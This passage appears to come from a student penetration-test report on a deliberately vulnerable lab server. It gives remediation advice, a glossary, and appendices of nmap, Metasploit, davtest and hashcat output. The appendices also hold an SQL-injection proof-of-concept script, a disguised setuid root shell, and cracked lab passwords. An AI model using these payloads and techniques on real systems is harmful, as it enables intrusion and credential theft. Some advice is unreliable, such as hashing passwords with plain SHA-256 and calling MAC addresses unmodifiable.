bash: no job control in this shell
bash: /root/.bash_profile: Permission denied
bcurtis@vagrant:/$
```

5. Vulnerability Remediation

5.1 MySQL

MySQL database should only be accessible by certain users. The password to enter the database also needs to be strengthened. We recommend using a four word passphrase to access the database. See sections 3.7, 4.1.

5.2 Customer Personal Identifiable Information

The MySQL database contained the customer personal identifiable information and should be protected better (see section 5.1). Within the database, the SSN, email address, and credit card information should be hashed using the SHA - 256 algorithm. See sections 3.2 and 4.2.

5.3 Root Access

Remove executable files that can be run to give a user root access. See sections 3.3 And 4.3.

5.4 Passwords

Change password requirements for employee logins to a four word passphrase. Passwords should also be hashed using the SHA - 256 algorithm instead of md5. See section 3.1 and 4.4.

5.5 UnrealIRCd Backdoor

Upgrade to UnrealIRCd 6.0.7. See sections 3.10 and 4.5.

5.6 OpenSSH

Upgrade to OpenSSH 9.2.

5.7 ProFTPD

Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later. See sections 3.6 and 4.6.

5.8 Personal Notes

Employees should not have notes containing sensitive information in unprotected files. All notes should be stored on a local computer that is disconnected from the server. See section 3.4 and 4.7.

5.9 Employee Emails

Emails exchanged between employees should not contain information about how to access certain servers without using an encrypted channel. Emails should also not be saved and stored in a user's files. See sections 3.5 and 4.8.

5.10 WebDAV

Webdav should only be used if necessary for business purposes. If not, we recommend removing WebDAV entirely. If you choose to keep WebDAV, it is critical that you turn the service off when it is not being used. See sections 3.8 and 4.9.

5.11 Ingreslock

Remove the Ingreslock service from your servers entirely. See sections 3.9 and 4.10.

6. Glossary

Backdoor - A backdoor is a secret or undocumented method of accessing a computer system, application, or network in computing that gets beyond standard security precautions. In essence, a backdoor is a method for an attacker or authorized person to enter a system without first authenticating themselves.

Cipher - Ciphers are techniques for converting plaintext into encoded or encrypted text. Ciphers encrypt and decrypt messages using mathematical methods and keys. Substitution ciphers, transposition ciphers, and contemporary encryption techniques like AES and RSA are only a few examples of the many different types of ciphers. Since the beginning of time, ciphers have been employed to safeguard sensitive data, and they still play a crucial part in contemporary information security.

Exploitation - Exploitation is the act of taking advantage of a weakness or vulnerability in a system or network to obtain access without authorization, steal information, or do harm. Attackers can access sensitive information or run malicious code to exploit vulnerabilities using a variety of methods.

Hashcat - Hashcat is a well-known password cracking application that uses brute-force attacks, dictionary attacks, and other password cracking methods to recover lost or forgotten passwords. It is a command-line program that supports several different hashing algorithms.

Hydra - A common brute-force tool used to undertake automated password cracking attacks against distant systems is called Hydra. It is a network login cracker. It is a command-line utility that supports several different protocols, such as SMTP, Telnet, FTP, and SSH.

Nmap - A strong and adaptable tool for network exploration, management, and security auditing is called Nmap (Network Mapper). It gives users access to information about the operating system, open ports, and vulnerabilities as well as the ability to scan and find hosts and services on a computer network. Network

administrators, security experts, and penetration testers frequently use Nmap to find and analyze network problems, safeguard networks, and fend off prospective attacks. It is a piece of open-source software that may be used with Linux, Windows, and macOS among other operating systems.

MAC Address - An individual identification code known as a Media Access Control (MAC) address is given to a network interface controller (NIC) to be used as a network address in communications inside a network. It is a hardware address that a manufacturer assigns to a device and that cannot be modified.

Operating system - An operating system also known as “OS”, is a piece of software that controls how computer hardware resources are used and offers standard services for software applications. It serves as a bridge for communication and collaboration between computer hardware and application software.

Password cracking - The process of retrieving a lost, forgotten, or encrypted password using several methods, such as brute-force attacks, dictionary attacks, and rainbow table attacks, is known as password cracking.

Penetration Test - A security evaluation called a penetration test, mimics an attack on a computer system or network. A penetration test's objective is to find system flaws and vulnerabilities that could be used by attackers.

Vulnerability - A vulnerability is a weak point or flaw in a system, piece of software, piece of hardware, or a network that an attacker could use to gain access, steal information, or harm the system. There are many different types of vulnerabilities, including software faults, configuration errors, design defects, and human mistakes.

7. Appendix A

7.1

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > nmap -v --script http-enum.nse 192.168.56.200
[*] exec: nmap -v --script http-enum.nse 192.168.56.200

Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-06 18:00 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 18:00
Completed NSE at 18:00, 0.00s elapsed
Initiating ARP Ping Scan at 18:00
Scanning 192.168.56.200 [1 port]
Completed ARP Ping Scan at 18:00, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:00
Completed Parallel DNS resolution of 1 host. at 18:00, 0.00s elapsed
Initiating SYN Stealth Scan at 18:00
Scanning 192.168.56.200 [1000 ports]
Discovered open port 21/tcp on 192.168.56.200
Discovered open port 111/tcp on 192.168.56.200
Discovered open port 80/tcp on 192.168.56.200
Discovered open port 22/tcp on 192.168.56.200
Discovered open port 3306/tcp on 192.168.56.200
Discovered open port 6667/tcp on 192.168.56.200
Discovered open port 1524/tcp on 192.168.56.200
Completed SYN Stealth Scan at 18:00, 0.07s elapsed (1000 total ports)
NSE: Script scanning 192.168.56.200.
Initiating NSE at 18:00
Completed NSE at 18:00, 0.59s elapsed
Nmap scan report for 192.168.56.200
Host is up (0.00062s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
| http-enum:
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
111/tcp   open  rpcbind
1524/tcp  open  ingreslock
3306/tcp  open  mysql
6667/tcp  open  irc
MAC Address: 52:54:00:BE:F6:67 (QEMU virtual NIC)

NSE: Script Post-scanning.
Initiating NSE at 18:00
Completed NSE at 18:00, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds
```

7.2

```
msf6 auxiliary(scanner/http/apache_normalize_path) > info 0

Name: ProFTPD 1.3.5 Mod_Copy Command Execution
Module: exploit/unix/ftp/proftpd_modcopy_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-04-22

Provided by:
Vadim Melihov
xistence <xistence@0x90.nl>

Available targets:
-- Name
0 ProFTPD 1.3.5

Check supported:
Yes

Basic options:
Name Current Setting Required Description
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.56.100 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host

Payload information:
Avoid: 0 characters

Description:
This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

References:
https://nvd.nist.gov/vuln/detail/CVE-2015-3306
https://www.exploit-db.com/exploits/36742
```

7.3

```
192.168.56.200/imp/file-permissions-and-stuff.txt
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

Man, managing this server is tricky. But I'm figuring it out.
All files and directories have "use" permissions set on them.
There are three permissions that can be granted:
* read
* write
* execute

"Read" means to be able to look at the contents of the file
"Write" means to edit the contents of a file
"Execute" means to "run" the file, assuming that it is a script

Those permissions can be granted to three different kinds of users:
* u | user | the "owner" of the file
* g | group | users can be long to a group, and so can files
* o | other | anyone who is not in the above two groups

Under the hood, *nix systems use 9 bits to represent the unique combinations
of read-write-execute * user-group-other:

  u  g  o
rwe rwe rwe
111 111 111

(It actually uses more than three per group, but don't worry about that).
The bits are used as "flags" -- if the flag is a 1, then that permission is granted to that user-class.
So if a file owned by user "tyler" and group "developers" has permissions:
110 100 100

Then:
* Tyler can read and write to the file, but not execute it
* Anyone in the developers group can read the file, but not write to it or execute it
* Anyone else can also read it, but not write to it or execute it

Bit-representations take up space, so permissions are occasionally expressed in base10, depending on which flags are set. The base10 representation
of the above example would be:
644

And all 1's would be:
111 111 111 | 777

If you want to see what a file's permissions are, use the 'ls -l' command. It will list out all files and their permissions, expressed something like:
-rw-r--r-- 1 tyler tyler 200 Oct 21 00:31 disabled-justin.txt
-rwxr-xr-x 1 tyler tyler 878 Oct 21 00:04 hashcat-practice.txt
```

7.4

```
192.168.56.200/imp/hashcat-practice.txt
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

I found a cool set of hashcat utils that can combine wordlists and stuff, to
make permutation lists. The scripts and stuff are available in the
/usr/share/hashcat-utils/ dir. There's one called combinator.bin that takes two
input files and creates a new wordlist containing pair-ups of all words from the
two inputs.

This is cool because I was playing around with website scraping,
but I noticed that scraping never creates two-word combos. Using combinator.bin
can get around that problem. Can be used like this:

/usr/share/hashcat-utils/combinator.bin cewl-scrape.txt cewl-scrape.txt > combined-cewl-scrape.txt
```

7.5

```
192.168.56.200/imp/reading-bash-history.txt
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security
```

I learned recently that the 'bash' shell saves a history of commands that a user has run to a textfile in the user's home directory:

```
~/.bash_history
```

It's just a text file, and it can be interesting to look at sometimes to see what a user has been doing. It's not very reliable though because it's just a textfile and can be edited or deleted or whatever.

7.6

```
192.168.56.200/imp/mysql-notes.txt
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

Reminder to self for how to connect to the humbleify mysql database:

mysql -h 127.0.0.1 -u root -p humbleify

It will prompt for a password. That will auto-select the 'humbleify' database.

Password hint: company website

Reminder of mysql root password

hash: 341A451DCF7E552A237D49A638FB8DF1
Salt: 1234

To get that hash, I put the salt before the password, like if the password were
'Password1', it would have been '1234Password1' that I hashed.

salt:password

Other useful commands once in the mysql prompt:

* list all tables
  show tables;

* how to describe a table
  describe <table-name>

* show all data in a table:
  select * from <table-name>;
```

7.7

```
192.168.56.200/imp/warning-about-sudo-exploit.txt
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security

Shoot, I saw [the news about that sudo exploit the other day][news].

[news]: https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html

I'd better check to see if anyone is vulnerable. I think I gave mhayes, our
Chief Happiness Officer, the ability to use sudo to `cat` a file as any user
_except_ root. She says that it's important that she be able to read other's
files to make sure that they're happy. Whatever! I'm okay with that, as long as
she can't read root-protected files...
```


<div> <div> </div> <div> 192.168.56.200/imp/ </div> </div> <div> Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter </div>			
<h1>Index of /imp</h1>			
	Name	Last modified	Size Description
	Parent Directory		-
	bash	2023-04-10 18:11	1.0M
	bunzip2	2023-04-10 18:11	30K
	busybox	2023-04-10 18:11	1.8M
	bzipcat	2023-04-10 18:11	30K
	bzipcmp	2023-04-10 18:11	2.1K
	bzdiff	2023-04-10 18:11	2.1K
	bzegrep	2023-04-10 18:11	3.6K
	bzexe	2023-04-10 18:11	4.8K
	bzfgrep	2023-04-10 18:11	3.6K
	bzgrep	2023-04-10 18:11	3.6K
	bzip2	2023-04-10 18:11	30K
	bzip2recover	2023-04-10 18:11	14K
	bzless	2023-04-10 18:11	1.3K
	bzmore	2023-04-10 18:11	1.3K
	cat	2023-04-10 18:11	47K
	cgi-bin/	2023-04-10 17:40	-
	chgrp	2023-04-10 18:11	59K
	chmod	2023-04-10 18:11	55K
	chown	2023-04-10 18:11	59K
	chvt	2023-04-10 18:11	10K
	cp	2023-04-10 18:11	127K
	cpio	2023-04-10 18:11	134K
	dash	2023-04-10 18:11	118K
	date	2023-04-10 18:11	59K
	dbus-cleanup-sockets	2023-04-10 18:11	10K
	dbus-daemon	2023-04-10 18:11	424K

7.9

```
jcochran@vagrant:/home/bcurtis/poc$ ls -a
.  ..  payroll_app
jcochran@vagrant:/home/bcurtis/poc$ cd payroll_app/
jcochran@vagrant:/home/bcurtis/poc/payroll_app$ ls
poc.rb
jcochran@vagrant:/home/bcurtis/poc/payroll_app$ ls -a
.  ..  poc.rb
jcochran@vagrant:/home/bcurtis/poc/payroll_app$ file poc.rb
poc.rb: ASCII text
jcochran@vagrant:/home/bcurtis/poc/payroll_app$ cat poc.rb
require 'net/http'

url  = "http://127.0.0.1/payroll_app.php"
uri  = URI(url)
user = 'bcurtis'
injection = "password'; select password from employees where username='' OR ''='"

puts "Making POST request to #{uri} with the following parameters:"
puts "'user' = #{user}"
puts "'password' = #{injection}"
res = Net::HTTP.post_form(uri, 'user' => user, 'password' => injection, 's' => 'OK')

puts "Response body is #{res.body}"
puts "Done"
jcochran@vagrant:/home/bcurtis/poc/payroll_app$
```

7.10

```

bcurtis@vagrant:~/mail$ file FDY-vawrpgvba.txt
FDY-vawrpgvba.txt: ASCII text
bcurtis@vagrant:~/mail$ cat FDY-vawrpgvba.txt
Subject: FDY vawrpgvba
To: pete.tempano@gmail.com
Date: Wed, 01 Oct 2020 12:21:18 +0000 (UTC)
From: bcurtis@humbleify.internal

Unu, gbb rnfl:
cnlebyy_ncc.cuc
hfre = 'ophegvf'
"cnffjbeq"; fryrpg cnffjbeq sebz hfref jurer hfreanzr='' BE ''='
bcurtis@vagrant:~/mail$

```

```

bcurtis@vagrant:~/mail$ file Onpxqbbe.txt
Onpxqbbe.txt: ASCII text
bcurtis@vagrant:~/mail$ cat Onpxqbbe.txt
Subject: Onpxqbbe
To: pete.tempano@gmail.com
Date: Wed, 21 Oct 2020 19:21:18 +0000 (UTC)
From: bcurtis@humbleify.internal
Vs vqvgb znantrzrag xvpxf zr bhg, V unir n jnl onpx va naq V'yy znxr gurz erterg
vg. Cunfr 1 vf cbeg 1524. Cunfr 2 vf qbphzragf.mvc.
bcurtis@vagrant:~/mail$

```

7.11

Intercept:

QNPXQBFE
VS VOVBG ZNANTRZBAG XVPXF ZR BHG, V UNIR N JNL QNPX VA
NAQ V:XX ZNXR GURZ ERTERG VG. CUNER 1 VF CREG 1524. CUNER
2 VF QRPZHRAF.MVC.

Reset

Crypto Corner

Ciphertext:

sql injection
hah, too easy:
payroll_app.php
user = 'bcurtis'
"password"; select password from users where username='' or ''=''

backdoor
if idiot management kicks me out, i have a way back in and i'll
make them regret it. phase 1 is port 1524. phase 2 is
documents.zip.

Find Frequencies

Make Substitutions

☐ Remove spaces

Options:

Count Digraphs

Count Trigraphs

Count Doubles

The frequencies of the English language are:

E	T	A	O	I	N	S	H	R	D	L	C	U	M	W	F	G	Y	P	B	V	K	J	X	Q	Z
12.7	9.1	8.2	7.5	7.0	6.7	6.3	6.1	6.0	4.3	4.0	2.8	2.8	2.4	2.4	2.2	2.0	2.0	1.9	1.5	1.0	0.8	0.15	0.15	0.10	0.07

The frequencies of the intercept are:

R	F	N	B	E	V	G	C	A	U	Z	P	H	Q	Y	X	J	L	O	S	T	D	I	M	W	K
21	18	18	14	14	14	12	11	8	8	8	7	6	6	6	5	4	3	3	2	2	1	1	1	1	0
10.8	9.3	9.3	7.2	7.2	7.2	6.2	5.7	4.1	4.1	4.1	3.6	3.1	3.1	3.1	2.6	2.1	1.5	1.5	1.0	1.0	0.5	0.5	0.5	0.5	0.0
e	s	a	o	r	i	t	p	n	h	m	c	u	d	l	k	w	y	b	f	g	q	v	z	j	

7.12

```
mysql> describe customers;
```

Field	Type	Null	Key	Default	Extra
first_name	varchar(30)	NO		NULL	
last_name	varchar(30)	NO		NULL	
email	varchar(30)	NO		NULL	
password_md5	varchar(40)	NO		NULL	
ssn	varchar(40)	NO		NULL	
cc_number	varchar(40)	NO		NULL	
cc_exp_month	varchar(10)	NO		NULL	
cc_exp_year	varchar(10)	NO		NULL	

```
8 rows in set (0.03 sec)
```

```
mysql> describe employees;
```

Field	Type	Null	Key	Default	Extra
username	varchar(30)	NO		NULL	
first_name	varchar(30)	NO		NULL	
last_name	varchar(30)	NO		NULL	
password	varchar(40)	NO		NULL	
salary	int(20)	NO		NULL	

```
5 rows in set (0.00 sec)
```

7.13

```
jcochran@vagrant:/home/tyler$ cat remember-to-turn-off-webdav.txt
Note to self, I need to remember to turn off webdav on the webserver,
I think it's enabled for the '/uploads/' directory. Bad
things might happen, like I saw [here](https://null-byte.wonderhowto.com/how-to/exploit-webdav-server-get-shell-0204718/).
```

7.14

username	first_name	last_name	password	salary
tyler	Tyler	Henry	humbl3ifytyl3r	90000
bcurtis	Brent	Curtis	motocross4life	36000
bschneider	Bill	Schneider	humblhumbl	999999
cincinnatus	Meg	Campbell	hellohello04	72000
jcochran	James	Cochran	jcochran	19005
mhayes	Marla	Hayes	seyahm	1
mzimm	Mary	Zimmerman	ChangeMe	350

7.15

```
jcochran@vagrant:/home/bcurtis/recycle-bin$ ls -al
total 24
drwxr-xr-x 2 bcurtis bcurtis 4096 Apr 18  2022 .
drwxr-xr-x 5 bcurtis bcurtis 4096 Apr 18  2022 ..
-rwsr-xr-x 1 root    root    8624 Apr 18  2022 documents.zip
-rwx----- 1 bcurtis bcurtis   59 Apr 18  2022 tcp-report
jcochran@vagrant:/home/bcurtis/recycle-bin$
```

```
bcurtis@vagrant:~/recycle-bin$ file documents.zip
documents.zip: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cee1668cb536aa0af5fc2fa2a5e5d8b80db231d7, not stripped
```

```
bcurtis@vagrant:~/recycle-bin$ ./documents.zip
# whoami
root
#
```


7.16

```
msf6 auxiliary(scanner/http/webdav_scanner) > davtest -url http://192.168.56.200/uploads
[*] exec: davtest -url http://192.168.56.200/uploads

*****
Testing DAV connection
OPEN SUCCEED: http://192.168.56.200/uploads
*****
NOTE Random string for this session: UM8qzMlEI
*****
Creating directory
MKCOL SUCCEED: Created http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI
*****
Sending test files
PUT jsp SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.jsp
PUT asp SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.asp
PUT cgi SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.cgi
PUT html SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.html
PUT txt SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.txt
PUT jhtml SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.jhtml
PUT aspx SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.aspx
PUT shtml SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.shtml
PUT pl SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.pl
PUT php SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.php
PUT cfm SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.cfm
*****
Checking for test file execution
EXEC jsp FAIL
EXEC asp FAIL
EXEC cgi FAIL
EXEC html SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.html
EXEC txt SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.txt
EXEC jhtml FAIL
EXEC aspx FAIL
EXEC shtml FAIL
EXEC pl FAIL
EXEC php SUCCEED: http://192.168.56.200/uploads/DavTestDir_UM8qzMlEI/davtest_UM8qzMlEI.php
EXEC cfm FAIL
```

7.17

```
(swtgcpc@kali)~/usr/share/wordlists
$ sudo hashcat --force -m 500 -r /usr/share/hashcat/rules/best64.rule --outfile=vagrant_cracked.txt vagrant_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
```

```
$ cat /usr/share/wordlists/vagrant_cracked.txt
$1$salt123$kwFVksPlAe7UQvY0/8SNF.:seyahm
$1$salt123$.sIeB4E60fHjv4vsH/jAF/:humblhumbl
$1$salt123$Rv23C4GhDRzJ5HakiB0UF.:motocross4life
$1$salt123$7cTwqBD8tVoerYuBITPhU/:ChangeMe
```